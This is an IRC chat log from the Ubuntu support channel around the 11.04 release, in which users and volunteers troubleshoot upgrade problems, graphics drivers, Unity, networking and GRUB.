[23:35] <^Mike> rgr: ok, thanks for the warning
[23:35] <rgr> read the reviews
[23:35] <kingofswords> rgr firefox couldnt retrieve any dl mgr addons
[23:35] <jigynet> tommy i believe your hardware is supported
[23:35] <notlistening> kingofswords, sudo apt-get install multiget
[23:35] <asdf_msc> so getlibs comes up as bad quality, anyone used it?
[23:35] <tommylommykins> jigynet: Will this have changed between ubuntu 10.10 and 11.04? 10.10 and below has always found all drivers that I need automatically..
[23:36] <rgr> using wget or curl is plain silly since you will frequently still want to click, confirm and download. Most use wget or curl underneatha nyway. They are no more efficient whatsoever.
[23:36] <Solnse> Since I upgraded to 11, ubuntu hangs while booting.... the last thing I see is "checking battery state..." I think the problem is related to my graphics driver because I am able to boot into failsafe, low graphics mode. How can I upgrade my graphics driver to see if it fixes the problem?
[23:36] <kingofswords> nothingspecial, thx
[23:36] <jigynet> hmm..
[23:36] <jigynet> 11 is quite new
[23:36] <tommylommykins> ooh, also, is gnome-3 worth using on 11.04?
[23:36] <guntbert> !gnome3 | tommylommykins
[23:36] <ubottu> tommylommykins: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are EXPERIMENTAL and UNSTABLE, will break Unity and possibly other parts of your system, and safe downgrading is not possible.
[23:37] <rgr> sometimes I really despair at people telling noobs to use things like wget. its as if you want to confuse them and screw up their acceptance of a *GUI* Linux distro.
[23:37] <adzy> does anyone know if i format my ubuntu partition will it remove grub also?
[23:37] <tommylommykins> oh
[23:37] <ikonia> adzy: no, grub is on the mbr
[23:37] <tommylommykins> with that in mind, try it in a VM first?
[23:37] <jigynet> ? when does 11 expire? how supported is itt? i know it's quite a work of art!?
[23:37] <kneaux> ...Can somebody tell me how I'm supposed to use this new version of Ubuntu? All my context menus have been taken away from me, and the new Help is completely unnavigable.
[23:37] <luigi_panache> Hello... I've never used IRC and I'm in need of help with a headless server. Who and where should I ask for help?
[23:37] <arrrghhh> jigynet, i assume you mean how long is it supported for...?
[23:37] <adzy> ikonia, mbr? excuse my lack of knowledge ;)
[23:37] <[segfault]> Getting the hang of Unity here, but it seems rather sluggish to show the new side bar.  Anyone know of a setting to change the delay of the unity bar to something less?  It takes almost a full second to come up atm.
[23:37] <kingofswords> im dling rom for my phone which i use as modem but its only dling 3k/s...nothing dodgy
[23:37] <zvacet> jigynet: 18 months for natty
[23:37] <jigynet> arrrghhh, yes
[23:38] <guntbert> luigi_panache: try #ubuntu-server
[23:38] <ikonia> luigi_panache: just ask
[23:38] <ikonia> adzy: no problem "master boot record" small chunk of disk that your machine boots from
[23:38] <jigynet> zvacet, sweet
[23:38] <coz_> luigi_panache,  definitly here and also  you could try ##linux channel ,, where you type here type  /join ##linux
[23:38] <arrrghhh> jigynet, looks like until october of 2012
[23:38] <kingofswords> why wont my firefox find any addons?
[23:39] <Fr33d0m> Anyone knowo how to get the Liferea icon back into the top panel in Natty?
[23:39] <adzy> ikonia, so if i format my partition and install ubuntu 11.04 will it update my grub ?
[23:39] <arrrghhh> kingofswords, any?  you're going thru tools -> addons -> extensions?
[23:39] <pragmaticenigma> !ask | luigi_panache
[23:39] <arrrghhh> kingofswords, sorry, the first one.  get addons.
[23:39] <ikonia> adzy: if you install 11.04 grub will get re-applied to the mbr, so "yes" in a basic answer to your question
[23:39] <zvacet> adzy	: yes if you put it on mbr
[23:39] <Ultimate_Chaos> MESSAGE TO ALL: my system is updateing but it wont connect to the internet
[23:39] <kingofswords> arrrghhh, yeh tools>addons
[23:40] <Solnse> Can somebody point me in the right direction please? Since I upgraded to 11, ubuntu hangs while booting.... the last thing I see is "checking battery state..." I think the problem is related to my graphics driver because I am able to boot into failsafe, low graphics mode. How can I upgrade my graphics driver to see if it fixes the problem?
[23:40] <adzy> ikonia, thanks for your help
[23:40] <adzy> zvacet, thanks
[23:40] <ikonia> Ultimate_Chaos: don't need all user messages, if you have a question, ask
[23:40] <pragmaticenigma> Ultimate_Chaos: are you upgrading using the CD?
[23:40] <arrrghhh> kingofswords, i assume FF can connect to websites no prob?  have you tried thru addons.mozilla.org?
[23:40] <Ultimate_Chaos> MESSAGE TO ALL: [Network: Unmanaged]
[23:40] <Ultimate_Chaos> no
[23:40] <zvacet> adzy: say tnx to ikonia
[23:40] <sam04938475> hey   im using 10.10   how do upgrade to the latest version?   sorry for a dull qustion  i tried the alt f2 thing.
[23:40] <adzy> zvacet, i did ;)
[23:40] <arrrghhh> lol
[23:40] <kingofswords> arrrghhh, yeh no probelms
[23:40] <jigynet> lol, i'm d/ling seamonkey at 1kbps hmm  must be busy...
[23:40] <zvacet> adzy:  8-)
[23:40] <dtulchin> i have a question, after upgrading to 11.04, my compiz options for edges are gone...i try to install simplecompiz and it tells me i cant .... (options for effects like minimize all screens, see all desktops, etc.)
[23:40] <kingofswords> and i m on addons tab
[23:41] <Ultimate_Chaos> ...
[23:41] <luigi_panache> How do I private message someone here?
[23:41] <jigynet> lol
[23:41] <ikonia> luigi_panache: best to just ask the channel
[23:41] <Ultimate_Chaos> can someone help me fix this issue then?
[23:41] <pragmaticenigma> luigi_panache: Do not PM people, instead ask your question in the main room so others can benefit from the solution
[23:41] <schnuffle> luigi_panache:  /msg <nick> <message, ask before you pm
[23:41] <zvacet> sam04938475: from updates manager but be sure that 10.10 is up-to-date
[23:41] <notlistening> sam, can you open a terminal?
[23:41] <Juest> luigi_panache: or /q <nick>
[23:41] <Fr33d0m> ?
[23:42] <pragmaticenigma> Ultimate_Chaos: Is your network being unavailable stopping you from performing the upgrade?
[23:42] <sam04938475> zvacet,   notlistening    i am using the most upto date i just did a upgrade.  and yeah i can get into terminal X
[23:42] <tommylommykins> is there an IRC channel for unity, or does #ubuntu count?L
[23:42] <kingofswords> multiget doesnt work either
[23:42] <ikonia> tommylommykins: unity on ubuntu is supported here
[23:42] <kingofswords> its http://download982.mediafire.com/gqq78pkjt80g/wt7nwyubj2i4cu6/Japanese_Jellyfish_RLS9.zip link..is that right
[23:42] <nulled> I Love Ubuntu 11.04
[23:42] <jigynet> !unity > tommy
[23:42] <Juest> !unity | tommy
[23:42] <ubottu> tommy: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[23:42] <jigynet> hehe, i'm such a noob
[23:43] <notlistening> sam04938475, so you running the most up to date 10.10 and want to upgrade to 11.04?
[23:43] <notlistening> sam04938475, or did i misunderstand
[23:43] <SeanInSeattle> I'm super confused on what to do.  I've just upgraded my personal laptop to 11.04, and I can't login.  Can someone point me in the right direction?  I've got an asus u81a laptop
[23:43] <sam04938475> notlistening,   thats right.  im running 10.10.
[23:43] <sam04938475> notlistening,   want to upgrade to 11.04
[23:43] <dtulchin> i have a question, after upgrading to 11.04, my compiz options for edges are gone...i try to install simplecompiz and it tells me i cant .... (options for effects like minimize all screens, see all desktops, etc.)
[23:43] <tommylommykins> what is the overall stability of unity considered to be?
[23:43] <dtulchin> i removed unity desktop dui
[23:43] <dtulchin> *gui
[23:43] <kingofswords> does any1 know  a file mgr that actually works?
[23:43] <lcb> SeanInSeattle, what are you getting now?
[23:44] <notlistening> sam04938475, okay here we go you got that terminal warmed up yet?
[23:44] <ghostnappa> Hey guys
[23:44] <dtulchin> i'm trying to get edges to work...
[23:44] <sam04938475> notlistening   aye!  lol
[23:44] <ghostnappa> I have a problem, and a rather specific one
[23:44] <nulled> unity is stable...there are some MINOR graphical glitches but other than that very stable
[23:44] <SeanInSeattle> lcb:  I get a frozen screen.  Oh, and btw:  I don't even have to try and login, it freezes a min or two after having loaded the login screen.
[23:44] <arrrghhh> ghostnappa, just ask.  don't ask to ask.
[23:44] <asdf_msc> okay i've got 64 bit nvidia driver, and ia32 shared libraries. what other 32 bit libraries are there that i would need for 32 bit WoW?
[23:45] <TrentonAdams> hey guys, I'm using ubuntu 11.04 my whole system is using the standard theme (dark title bars with orange X, etc.  But, my menu system uses it for just a little while, while logging in, then it switches back to an old windows 3.1 style super 3d buttons look.  Any ideas?
[23:45] <coz_> TrentonAdams,  log off and back on again
[23:45] <lcb> SeanInSeattle, did you finish the upgrade process or you interrupted it? did you update your previous ubuntu?
[23:45] <benk20001> network (ethernet + wifi) stopped working after upgrading to 11.04. forums answers didn't work. Please help!
[23:45] <ghostnappa> okay, so on my main PC, various shmup games seem to be uncontrollable. Most think that I am holding up+left, but rrootage just doesn't move at all
[23:45] <TrentonAdams> coz_: done that MANY times, doesn't do anything.
[23:45] <jakerue> I updated from 10.10 to 11.04 yesterday but my graphics card doesn't support Unity.  I got an error message tossing me back into gnome2 yesterday but when I boot I get into gnome and now I cannot seem to access my data folders.  All my browsers give seg faults (except opera) and now in xfce I can operate but cannot access my home folder at all.  Get error Message did not receive a reply (timeout by message bus)
[23:45] <coz_> TrentonAdams,  oh!!  mm which video card?
[23:46] <pragmaticenigma> TrentonAdams: disable the desktop effects, your system is going into graphics safe mode
[23:46] <ghostnappa> it happens on ubuntu variants, fedora, and every other linux install that I have tried
[23:46] <kingofswords> i want to dl file from rapidshare can i do this in a download mgr?
[23:46] <ghostnappa> so it isn't just ubuntu exclusive
[23:46] <TrentonAdams> coz_: Not sure, but it was working in 10.10, just a sec, I'll look
[23:46] <Fr33d0m> How do I get the Liferea Icon to show in the top panel
[23:46] <coz_> TrentonAdams, ok  is this an upgrade?
[23:46] <TrentonAdams> pragmaticenigma: if it was doing that, why do all the other windows work?
[23:46] <TrentonAdams> coz_: yes upgrade
[23:46] <SeanInSeattle> lcb: Yes, I finished the upgrade.   I didn't interrupt anything.  Do you mean, "did [I] reboot asap after it told me to?" answer: no, I didn't.
[23:47] <coz_> TrentonAdams,   ok open a terminal and type   lspci | grep -i vga
[23:47] <SeanInSeattle> lcb: I waited a couple of hours.
[23:47] <dtulchin> anyone know how to get edges to work in ubuntu 11.04 without unity?
[23:47] <jakerue> I tried every single option including ubuntu classic and safe mode but same unresponsive desktop...only xfce lets me do anything
[23:47] <TrentonAdams> coz_: yeah, was about to do that, just a sec.
[23:47] <TrentonAdams> coz_: ATI Technologies Inc Mobility Radeon HD 3650
[23:47] <sdegutis> hello :)
[23:47] <TrentonAdams> coz_: I'm not using the proprietary drive
[23:47] <lcb> SeanInSeattle, then reboot... :o tell us what happens then
[23:47] <TrentonAdams> coz_: Or, I don't think I switched to that.
[23:48] <luigi_panache> My headless server running 11.04 is currently unable to get online via ethernet. I upgraded from 10.10 last night, and once do-release-upgrade finished I just went to sleep, hoping the server would be alright in the morning. Now, I have a monitor and keyboard hooked up to the server, but no amount of ifconfig, ifup, or anything will make either of the computer's connections work. Before upgrading to 11.04, I also moved my LVM root from a 3 disk pa
[23:48] <luigi_panache> ta RAID 5 array to a single SATA hard drive, which required a lot of tweaking of GRUB2 and I think may have affected boot time errors, but I'm not sure. And that's my situation.
[23:48] <coz_> TrentonAdams,  mm  ok I know nothing about ati,, I was hoping it was nvidia because then I would suggest uninstalling that driver then reinstalling since it most likely a different driver version..hoewver for ati I  have no idea
[23:48] <manOwl> I am sorry for ranting earlier
[23:48] <coz_> TrentonAdams,  the problems with upgrades is many times old config files are left behind
[23:48] <SeanInSeattle> lcb: I've done that many times, and the same thing occurs:  it loads like normal until loading up the login page, and then it runs a bit slower than normal... next I try and login, and it freezes.  If I don't try to login and just wait a little bit, it still freezes.
[23:49] <isarl> Hi all. I'm having some trouble with nouveau and Unity after my recent upgrade to 11.04.  I'm comfortable in the commandline to troubleshoot it, but not sure what to do at the moment.  Any help?
[23:49] <SeanInSeattle> lcb: it seems like the graphics card settings are set too high.... or something....
[23:49] <benk20001> please help - network doesn't work after upgrading to 11.04
[23:49] <ghostnappa> okay, so on my main PC, various shmup games seem to be uncontrollable. Most think that I am holding up+left, but rrootage just doesn't move at all. it happens on ubuntu variants, fedora, and every other linux install that I have tried so it isn't just ubuntu exclusive. Testing in a liveCD environment between two seperate PC's reveals that this is only a problem with my PC and not the other one. This is a problem with na
[23:49] <ghostnappa> tive games, WINE, and MAME. But seems to only be effecting games with joystick support
[23:49] <TrentonAdams> coz_: I deleted .gnome* and that did nothing.
[23:49] <manOwl> usually I set the key /apps/metacity/general/button_layout in gconf to move my window buttons to the right
[23:49] <hiexpo> thats why a fresh install is always better
[23:49] <manOwl> but in unity, when I maximize a window
[23:49] <manOwl> the buttons move to the left of the top bar!
[23:50] <manOwl> so if I move my buttons to the right, then maximize.. all my buttons move to the left!?
[23:50] <Ultimate_Chaos> no with is weird i can still upgrade even though the network isnt managed
[23:50] <manOwl> is there another key?
[23:50] <TrentonAdams> coz_: but if it was a "driver issue" then why the windows look fine, but the menu/task bar system don't?
[23:50] <lcb> SeanInSeattle, ok, easy... reboot | press SHIFT after bios messages and then select the second option on the top (recovery menu)
[23:50] <Ultimate_Chaos> i still want to be able to use firefox
[23:50] <SeanInSeattle> lcb: will do.
[23:50] <kingofswords> is there an android channel?
[23:50] <SeanInSeattle> lcb: what then?
[23:50] <coz_> TrentonAdams,  good question ,,but I dont have a good answer for you ,, sorry
[23:50] <arrrghhh> kingofswords, #android
[23:50] <coz_> brb
[23:50] <zvacet> TrentonAdams: see under applications>system additional drivers can you install from there
[23:51] <trailoryo> why wont videos play on youtube in firefox 4?
[23:51] <lcb> SeanInSeattle, then, select on that recovery menu dpkg | clean | grub | finally failsafeX .. wait...
[23:51] <kingofswords> arrrghhh, thx
[23:51] <arrrghhh> trailoryo, you have FF installed?
[23:51] <arrrghhh> er flash... sorry
[23:51] <Ultimate_Chaos> stupid computer
[23:51] <TrentonAdams> coz_: I'm going to try and do the disable effects thing, and see what happens.
[23:51] <Ultimate_Chaos> at least upgradeing works
[23:52] <th0r> Ultimate_Chaos: close, it is really 'stupid computer operator'
[23:52] <lcb> SeanInSeattle, select Reconfigure then Use default (generic) then OK then CANCEL, then Restart X. reboot when you get the login
[23:52] <kingofswords> any where u dont have 2 be reg'd
[23:52] <TrentonAdams> zvacet: looking, just a sec
[23:52] <Ultimate_Chaos> th0r: dant be like that
[23:52] <arrrghhh> kingofswords, register your nick, you really should.
[23:52] <lcb> SeanInSeattle, got everything?
[23:52] <Ultimate_Chaos> im just trying to connect to the internet
[23:52] <trailoryo> anyone knows why videos wont play on youtube in firefox 4? ;/
[23:53] <SeanInSeattle> lcb: working on it, had to reboot a second time because I wasn't holding shift down....
[23:53] <Juest> hi, i am using ubuntu 10.10 in a virtualbox and i am having troubles with audio (not working properly gmixer stays at "waiting for sound system"), gnome, grub and compiz. is there any logs where i can get more info to give?
[23:53] <TrentonAdams> zvacet: I'm going to try disabling effects, then do the new driver.
[23:53] <TrentonAdams> be back
[23:53] <lcb> SeanInSeattle, ok. don't precipitate urself, go easy
[23:53] <Ultimate_Chaos> okay ill be proefessional
[23:53] <zvacet> TrentonAdams: you have problem just wit h task bar or
[23:53] <Juest> gnome: i installed something that broken the whole gnome
[23:53] <Limada> Hi everybody. Hope you can help me. Does anyone know how can I go back to Ubuntu 10.10?
[23:53] <Barnabas> Juest, I had the same issue
[23:53] <Juest> really?
[23:53] <Ultimate_Chaos> okay
[23:53] <Ultimate_Chaos> with it in a vritualbox
[23:53] <tommylommykins> hmm
[23:53] <luigi_panache> Can anyone help me get my server back online? It just refuses to accept that it has two ethernet ports...
[23:53] <tommylommykins> right
[23:54] <rzx237> trailoryo: no flash installed, or proxy block the video streaming
[23:54] <th0r> Juest: the logs will be in /var/log. You might also try running gmixer from a terminal to see if you get any error messages
[23:54] <Barnabas> Juest, try changing the mixing method in pulseaudio
[23:54] <tommylommykins> is using ccsm a bad idea with unity?
[23:54] <SeanInSeattle> lcb: lol.  What should I do, run ubuntu in low graphics, reconfigure graphics, troubleshoot, or exit to console?
[23:54] <zvacet> Limada: reinstall it
[23:54] <Juest> Barnabas: what iusse?
[23:54] <tommylommykins> because I appear to have broken it
[23:54] <tommylommykins> somewhat permamently
[23:54] <Juest> oh
[23:54] <Ultimate_Chaos> you need to make sure you enabled 3d graphhc acceleration
[23:54] <Lxndr> I am using Ubuntu 11.04, having just done the internal upgrade from Ubuntu 10.10. It is on my laptop. I am attempting to start up my laptop after the upgrade. Unfortunately, it APPEARS to start correctly. However, it hangs on a splash screen that says Ubuntu is for creative humans, and does not give me any ability to further interact with the program. Can anyone help?
[23:54] <ChronicSyncope> tommylommykins, seems that way
[23:54] <lcb> SeanInSeattle, Reconfigure Graphics
[23:54] <Barnabas> Juest, in /etc/pulse/daemon.conf:
[23:54] <tommylommykins> ChronicSyncope: What do you mean? ccsm does break unity?
[23:54] <Juest> Barnabas: ah thank you
[23:55] <Limada> zvacet, thanks for your answer but if I knew how, I wouldn' t ask.
[23:55] <Barnabas> change resample-method = speex-float-1 to resample-method = auto
[23:55] <Barnabas> reboot
[23:55] <Ultimate_Chaos> _-¯\_(O¿O)_/¯-_}
[23:55] <lcb> SeanInSeattle, so you didn't see what i wrote... then Use Default (generic) | OK | |CANCEL | Restart X
[23:55] <ChronicSyncope> tommylommykins, I tried using it with unity and it broke unity until I restarted... I tried using it without unity ("classic desktop") and it works much better
[23:55] <SeanInSeattle> lcb: reconfiguring loops on the "how would you like to reconfigure your display..."
[23:55] <tommylommykins> ok
[23:55] <Juest> Barnabas: i can't reboot, got troubles with grub/lilo
[23:55] <SeanInSeattle> lcb: sorry, the screen scrolls by fast on my wife's netbook....
[23:56] <lcb> SeanInSeattle, it loops??? or you get a new dialog with 3 options?
[23:56] <tommylommykins> In that case, what do I need to use to make simple changes to unity? I want to reduce the transparency in the background of terminal windows.
[23:56] <Tincho> Hi. I am looking for help with an 3d accel. issue. Using natty, ati radeon RS690M, already tried disabling KMS, the X edgers, etc, with no improvements. My glxinfo says I am using the hardware renderer, but nothing that uses 3d works, unless I disable the KMS or force software rendering. Anybody can throw me a rope?
[23:56] <Barnabas> Juest, must be grub OR lilo?
[23:56] <zvacet> Limada: install maverick again on same partition where is natty now back up your files before
[23:56] <SeanInSeattle> lcb:  I get the same dialog with the same three options, regardless which one I choose.
[23:56] <kingofswords> how do i sign in to reg'd name
[23:56] <lcb> SeanInSeattle, ok, no probs. after Reconfigure Graphics select Use Default Config
[23:57] <isarl> kingofswords: on IRC?  /msg NickServ identify <password>
[23:57] <TrentonAdams> zvacet: Yeah, just the menu/task bar, other windows are fine
[23:57] <kingofswords> thx
[23:57] <Juest> i don't know exactly but i am trying to use lilo and i need to build lilo.conf by hand and i don't remember how
[23:57] <isarl> kingofswords: more info: /msg NickServ help identify
[23:57] <Barnabas> Juest, anyway, you can probably make do with restaring pulseaudio
[23:57] <daniel32708> I just installed a fresh 11.04 64 bit on a Toshiba satellite A665 (4core, 4gbddr3,nvidia,etc).  I am running the Unity interface.  Suddenly, the whole system crashes (seems to be very random...but i cant get past an hour). Am I the only one getting this? is a bug? any suggestions?
[23:57] <TrentonAdams> zvacet: even my KDE based windows look great. :P
[23:57] <daniel32708> **it freezes
[23:57] <Limada> zvacet, ok. I'll do that. Thanks!
[23:57] <SeanInSeattle> lcb: can I reconfigure the graphics once I've booted into low-graphics mode?
[23:57] <lcb> SeanInSeattle, the dialogs looks alike, so put attention on the options i write. Use Default Configuration
[23:58] <Evildaemon> Is there a way to set up WLAN so that a computer is on my network but not on the internet?
[23:58] <lcb> SeanInSeattle, no
[23:58] <zvacet> TrentonAdams: maybe you can do something with ccsm but I´m not expert
[23:58] <lcb> SeanInSeattle, did you select to run in low graphic mode?
[23:58] <zvacet> Limada: np and good luck  :)
[23:58] <Juest> Evildaemon: ys
[23:58] <Evildaemon> How?
[23:59] <SeanInSeattle> lcb: not yet, but I'm don't seem to be able to get past this screen:  "How would you like to reconfigure your display?"  1) use default, 2) create new, or 3) use backup.
[23:59] <Limada> zvacet ;). Thanks, I'll need it XD.
[23:59] <someone235> when i try to open a file from the recent document, ubuntu is trying to open it with nautilus and say "Could not display "/home/someone235/blabla.docx\nThe location is not a folder."
[23:59] <nimrod10> how do I reinstall firefox 3.6 ? Firefox 4 is not working on maverick i386 for me.
[23:59] <zvacet> Limada: you will be ok
[23:59] <Juest> Evildaemon: yes but it's someway too complicated because the default is automatic
[23:59] <lcb> SeanInSeattle, Use Default. and you are doing right, don't do anything before coming here
[23:59] <hiexpo> Evildaemon, there is a network in places set it up
[23:59] <kingofswords> ok why is my firefox dl addons not working
[00:00] <someone235> how can i make it open it with the default associated app?
[00:00] <SeanInSeattle> lcb: It doesn't seem to be changing its response, regardless of the choice that I make on that screen, and yes I did prefer the default.
[00:00] <Limada> zvacet, hope so! Thanks again.
[00:00] <lcb> SeanInSeattle, next should be OK, then Cancel, then Restart X
[00:00] <zvacet> Limada: yw
[00:01] <lcb> SeanInSeattle, just do that. you wont see any changes
[00:01] <Limada> ;), bye!
[00:01] <jubei-za> Evildaemon, you could manually reassign your ip setup on network interface to have no default gateway or dns server. You can also use iptables firewall but this is quite complicated.
[00:01] <someone235> <someone235> when i try to open a file from the recent document, ubuntu is trying to open it with nautilus and say "Could not display "/home/someone235/blabla.docx\nThe location is not a folder."
[00:01] <someone235> <someone235> how can i make it open it with the default associated app?
[00:01] <SeanInSeattle> lcb:  that's really confusing... there's no messsage saying "you've reconfigured your graphics to the default / generic setting"?
[00:01] <xorpt> Hi there.
[00:02] <Evildaemon> jubei-za, which netowork interface?
[00:02] <Evildaemon> *network
[00:02] <someone235> sorry if i wrote this msg b4, cuz i think i had a lag & it didn't sent
[00:02] <lcb> SeanInSeattle, i know that failsafeX is a bit confusing . it's really badly done, yet. look...
[00:02] <SeanInSeattle> lcb: that worked btw.... it logged me in.  Should I reconfigure the graphics again using the normal tools?
[00:02] <xorpt> Can someone see on Ubuntu Natty if when you open transmission if shows active in the sidebar?
[00:02] <jubei-za> you want your wireless interface to have network communication, but not out to the internet - then you would edit ipconfig of wan0 or somthing like this
[00:03] <lcb> ahh ok SeanInSeattle. tell me where are you now
[00:03] <hiexpo> Evildaemon, is it just a wireless network you are trying to setup ?
[00:03] <Evildaemon> Will the option "link local only" work?
[00:03] <rzx237> nimrod10: go to synaptic package manager and select firefox, then select menu Package > Force version
[00:03] <Evildaemon> Yes
[00:03] <SeanInSeattle> lcb:  I've logged in to normal ubuntu, and I can see the unity UI now... so it looks normal.
[00:03] <luigi_panache> Does anyone here know how Ubuntu handles ethernet interfaces? I think it's related to avachi or something called that, but I also see network manager in my rc.d folder...
[00:03] <lcb> SeanInSeattle, great. but you are using generic drivers. now... reboot
[00:04] <M3l7D0wN> is there any unity dev here?
[00:04] <SeanInSeattle> lcb: ok.  will do.  "pls wait, processing."
[00:04] <hiexpo> Evildaemon, just go to places?network   > do   you have networking already set in other box ?
[00:04] <jakerue> ok after 10.10 to 11.04 all I get are seg faults from nautilus, firefox, etc.  What are some possible solutions to this?
[00:04] <lcb> SeanInSeattle, don't worry, i have about 50 yrs ahead. i'll wait
[00:04] <Evildaemon> Yeah
[00:05] <SeanInSeattle> lcb:  using the normal grub entry?
[00:05] <lcb> SeanInSeattle, yes
[00:05] <M3l7D0wN> I'm trying to add a compiz option for unity....
[00:05] <lcb> SeanInSeattle, keep going
[00:05] <M3l7D0wN> I need some help
[00:05] <M3l7D0wN> :S
[00:05] <Evildaemon> I specifically don't want it to connect to the internet though, hiexpo.
[00:05] <xorpt> Can someone please let me know if transmission is currently showing up as active in the sidebar under Ubuntu 11.04?
[00:06] <mammamia> ciao a tutti
[00:06] <mammamia> any italian?
[00:06] <hiexpo> Evildaemon, ok open places network and you will see the network   and there will be no internet that way
[00:06] <SeanInSeattle> lcb: booted to graphical login screen, login normally?
[00:06] <zvacet> !it | mammamia
[00:06] <ubottu> mammamia: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese. Grazie! (per entrare, scrivi « /join #ubuntu-it » senza virgolette)
[00:06] <phzinho> hello, good night everybody
[00:06] <lcb> SeanInSeattle, yes
[00:06] <Juest> mammamia: speak english or go there
[00:07] <luigi_panache> xorpt: Transmission, when launched, shows up in the sidebar.
[00:07] <fennng_> shared with samba, but from win, don't have access right, how to use chown cmd to make it work.
[00:07] <hiexpo> Evildaemon, i do not remember  how to set it up but i onlydid it with a printer and it was pretty simple task
[00:08] <SeanInSeattle> lcb: darnit!  its haning on the login.  It doesn't seem to be a graphics issue, at this point.... effing piece of crap....
[00:08] <lcb> SeanInSeattle, now type in terminal ' sudo /usr/bin/jockey-gtk '
[00:09] <SeanInSeattle> lcb: now its frozen...
[00:09] <Evildaemon> Solved, I made it work.
[00:09] <lcb> :(
[00:09] <phzinho> i updated my ubuntu 10.10 to 11.04 but now an error of the grub appear on startup "grub_env_export".. anyone know how to fix it? :/
[00:09] <SeanInSeattle> lcb: I know.... :(
[00:09] <Juest> Barnabas: hey, so?
[00:09] <nimrod10> rzx237, thank you seemed to be working altough after install firefox says this            XML Parsing Error: undefined entity
[00:09] <nimrod10> Location: chrome://mozapps/content/profile/profileSelection.xul
[00:09] <nimrod10> Line Number 53, Column 1:
[00:09] <lcb> SeanInSeattle, look...
[00:09] <SeanInSeattle> I believe its because I didn't reconfigure the graphics after booting into failsafe.
[00:09] <Evildaemon> Thanks all.
[00:10] <lcb> SeanInSeattle, you are going to do this in this sequence
[00:10] <SeanInSeattle> lcb:  yes, I will.
[00:10] <Juest> Barnabas: seems there's trouble with fstab when using lilo
[00:10] <Juest> so i need to witre lilo.conf by hand or do something (fix) with fstab
[00:10] <Barnabas> Juest, why not use grub, its the standard for Ubuntu?
[00:11] <lcb> SeanInSeattle, sudo -i  then: apt-get update && apt-get upgrade && apt-get dist-upgrade && apt-get check && apt-get -f install
[00:11] <rzx237> nimrod10: dont worry, it ussually appear when the connection to destination address is fail
[00:11] <Juest> yeah
[00:11] <techfighterminal> does anyone know a good linux native converting software so i can upload my vids to youtube
[00:11] <lcb> SeanInSeattle, then ' sudo dpkg -a '
[00:11] <rzx237> nimrod10: bug in firefox I guess
[00:11] <Moa> Hi ! After installing Natty, the display on my is green/pink but is perfect on my monitor. I tested many different configurations without success. All was working perfectly under Maverick. Does anyone have an idea please ?
[00:11] <isarl> techfighterminal: Try handbrake.
[00:11] <IdleOne> techfighterminal: there is winff in the repositories.
[00:12] <Juest> i need to know where's grub config not /etc/default/grub
[00:12] <lcb> Moa, what display graphics
[00:12] <nimrod10> rzx237,  I guess I won't be using firefox for a while
[00:12] <isarl> techfighterminal: Here's Handbrake's website: http://handbrake.fr/
[00:12] <Moa> Intel
[00:12] <Juest> Barnabas: i need to know where's grub config not /etc/default/grub
[00:12] <disPlay> hey
[00:12] <Ampelbein> Juest: /etc/grub.d
[00:12] <lcb> Moa,  did you install the proprietary? ( sudo /usr/bin/jockey-gtk )
[00:13] <ohsix> derp
[00:13] <Moa> no
[00:13] <hiexpo> techfighterminal, in which you will need ffmpeg   also winff is a frontenf to ffmpeg
[00:13] <lcb> Moa, try it
[00:13] <lcb> Moa, then reboot, don't forget
[00:13] <luigi_panache> I tried getting help on ##linux but it says I can't send the message or something...
[00:14] <techfighterminal> thanx will try...
[00:14] <luigi_panache> "Cannot send to channel"
[00:14] <Moa> lcb, no proprietary drivers
[00:14] <Barnabas> hmm I think the grub package is more or less self configuring, to the degree, where it detects your installed kernels - I am not sure though, anyone feel free to confirm this
[00:14] <hiexpo> luigi_panache, register in freenode
[00:14] <isarl> I've been having some trouble with my graphics after updating to 11.04. It seems like nouveau isn't being used, or isn't working properly, or something. I don't appear to have any hardware acceleration.
[00:14] <lcb> luigi_panache, check the topic, probably that's not the help chan
[00:15] <Solnse> I hope somebody can point me in the right direction, since upgrading to Ubuntu 11, it hangs on loading, the last thing I see is "checking battery state..." and it just hangs there. I think it has to do with my graphics driver because I can load into failsafe graphics mode, and I also see [fail]  on starting load fallback graphics devices. Can somebody help please?
[00:15] <lcb> Moa, so your issue is having the display with strange colors?
[00:15] <mikinanuq> Solnse: is it nvidia?
[00:15] <lcb> Moa, is that a portable computer?
[00:15] <Solnse> ATI Radeon 3850
[00:15] <Moa> TV display is green/pink but the monitor display is perfect. They are behind a hdmi splitter
[00:16] <jsebean> hi
[00:16] <Moa> The same config worked perfectly under Maverick.
[00:16] <Juest> Barnabas: i am trying to locate grub configuration that update-grub generates
[00:16] <mikinanuq> Solnse: hmm I had the same thing but I have nvidia... I had to go in recovery mode and apt-get install linux-headers-generic.. then works fine
[00:16] <jsebean> how can I make a program launch on startup every time i login on Ubuntu?
[00:16] <lcb> Solnse, use the Catalystic Control Center to configure it, not the option "Monitors"
[00:17] <Souperman> so a lot of people is having problems whit the nvidia thing then
[00:17] <pragmaticenigma> Moa: does it work when just the tv is plugged in, not using the splitter?
[00:17] <hiexpo> add repos for video simple fix
[00:17] <Moa> During the system boot the TV image is perfect until unity or gnome starts
[00:17] <jsebean> how can I make a program launch on startup every time i login on Ubuntu?
[00:17] <Barnabas> Juest if you edit that one I think you changes will dissapear every time a new kernel is installed
[00:17] <Juest> jsebean: use startup programs to add/edit/delete startup programs
[00:17] <Solnse> mikinanuq: I get permission denied...
[00:17] <hiexpo> nvidia anyways an i think ati also has it
[00:17] <lcb> btw, everyone should see if there is the graphics utility installed and so use it, instead of Monitors...
[00:17] <Moa> pragmaticenigma, exactly the same:with or without splitter
[00:17] <Solnse> nm, i forgot sudo
[00:18] <Juest> Barnabas: then how do i force it to keep it
[00:18] <luigi_panache> I registered I think and I still can't send to the channel.
[00:18] <inaxio> hello i just downloaded the 11.04 update and dislike the new launcher on the side, how can i make it so my system looks like it did pre-update (eg normal bar at top, no launcher)
[00:18] <jsebean> Juest: I do that, and it works the first time i login, but then it gets removed and i have to add it to startup programs again, any ideas?
[00:18] <pragmaticenigma> Moa: you may have already said it but what is the graphics card?
[00:18] <Juest> try running gksudo gnome-control-center
